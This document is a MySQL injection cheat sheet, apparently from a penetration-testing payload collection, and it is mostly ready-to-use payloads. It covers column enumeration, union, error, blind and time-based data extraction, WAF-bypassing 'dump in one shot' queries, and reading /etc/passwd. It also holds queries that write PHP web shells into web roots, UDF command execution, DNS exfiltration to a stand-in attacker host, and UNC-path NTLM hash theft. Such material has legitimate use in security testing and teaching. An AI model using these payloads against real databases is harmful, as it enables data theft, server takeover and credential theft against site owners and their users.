MySQL Injection

MYSQL comment

# MYSQL Comment
-- comment [Note the space after the double dash]
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MYSQL version 3.23.02

MYSQL Union Based

Detect columns number

First you need to know the number of columns

Using `order by` or `group by`

Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

1' ORDER BY 1--+	#True
1' ORDER BY 2--+	#True
1' ORDER BY 3--+	#True
1' ORDER BY 4--+	#False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+	True

1' GROUP BY 1--+	#True
1' GROUP BY 2--+	#True
1' GROUP BY 3--+	#True
1' GROUP BY 4--+	#False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+	True

Using `order by` or `group by` Error Based

Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.

1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
 
# Unknown column '4' in 'order clause'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+	True

1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+
 
# Unknown column '4' in 'group statement'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+	True

Using `UNION SELECT` Error Based

This method works if error showing is enabled

1' UNION SELECT @--+        #The used SELECT statements have a different number of columns
1' UNION SELECT @,@--+      #The used SELECT statements have a different number of columns
1' UNION SELECT @,@,@--+    #No error means query uses 3 column
                            #-1' UNION SELECT 1,2,3--+	True

Using `LIMIT INTO` Error Based

This method works if error showing is enabled.

It is useful for finding the number of columns when the injection point is after a LIMIT clause.

1' LIMIT 1,1 INTO @--+        #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+      #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+    #No error means query uses 3 column
                              #-1' UNION SELECT 1,2,3--+	True

Using `SELECT * FROM SOME_EXISTING_TABLE` Error Based

This works if you know the table name you're after and error showing is enabled.

It will return the amount of columns in the table, not the query.

1' AND (SELECT * FROM Users) = 1--+ 	#Operand should contain 3 column(s)
                                        # This error means query uses 3 column
                                        #-1' UNION SELECT 1,2,3--+	True

Extract database with information_schema

Then the following codes will extract the databases'name, tables'name, columns'name.

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

Extract columns name without information_schema

Method for MySQL >= 4.1.

First extract the column number with

?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)

Then extract the column name.

?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null

Method for MySQL 5

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'
 
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'
 
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...

Extract data without columns name

Extracting data from the 4th column without knowing its name.

select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;

Injection example inside the query select author_id,title from posts where author_id=[INJECT_HERE]

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+
|         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+

MYSQL Error Based

MYSQL Error Based - Basic

Works with MySQL >= 4.1

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'

MYSQL Error Based - UpdateXML function

AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--

Shorter to read:

' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -

MYSQL Error Based - Extractvalue function

Works with MySQL >= 5.1

?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--

?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not. For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.

[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -

Payload:

' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -

Would work in the query (where the "where" clause is the injection point):

SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';

In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.

TRUE: if @@version starts with a 5:

2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error

False: if @@version starts with a 4:

2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK

AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)

'_' acts like the regex character '.', use it to speed up your blind testing

SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';

MYSQL Time Based

The following SQL codes will delay the output from MySQL.

+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))

Using SLEEP in a subselect

1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')# 
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#

Using conditional statements

?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

MYSQL DIOS - Dump in One Shot

(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#
 
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#
 
-- SecurityIdiots
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
 
-- Profexer
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)
 
-- Dr.Z3r0
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))
 
-- M@dBl00d
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
 
-- Zen
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)
 
-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)
 
-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+
 
-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+
 
-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+
 
-- sharik
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)

MYSQL Current queries

This table can list all operations that DB is performing at the moment.

union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #
 
-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #

MYSQL Read content of a file

Need the filepriv, otherwise you will get the error : ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

' UNION ALL SELECT LOAD_FILE('/etc/passwd') --

If you are root on the database, you can re-enable the LOAD_FILE using the following query

GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#

MYSQL Write a shell

Into outfile method

[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

Into dumpfile method

[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';

MYSQL Truncation

In MYSQL "admin " and "admin" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

`username` varchar(20) not null

Payload: username = "admin a"

MYSQL Fast Exploitation

Requirement: MySQL >= 5.7.22

Use json_arrayagg() instead of group_concat() which allows less symbols to be displayed

group_concat() = 1024 symbols
json_arrayagg() > 16,000,000 symbols

SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;

MYSQL UDF command execution

First you need to check if the UDF are installed on the server.

$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so

Then you can use functions such as sys_exec and sys_eval.

$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+

MYSQL Out of band

select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt

DNS exfiltration

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))

UNC Path - NTLM hash stealing

select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;